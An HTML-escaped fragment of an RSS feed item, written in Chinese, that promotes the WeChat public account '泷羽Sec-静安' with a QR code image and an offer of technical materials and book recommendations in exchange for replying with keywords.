&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/%E5%BE%AE%E4%BF%A1%E5%9B%BE%E7%89%87_20250115101708.jpg"&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item></channel></rss>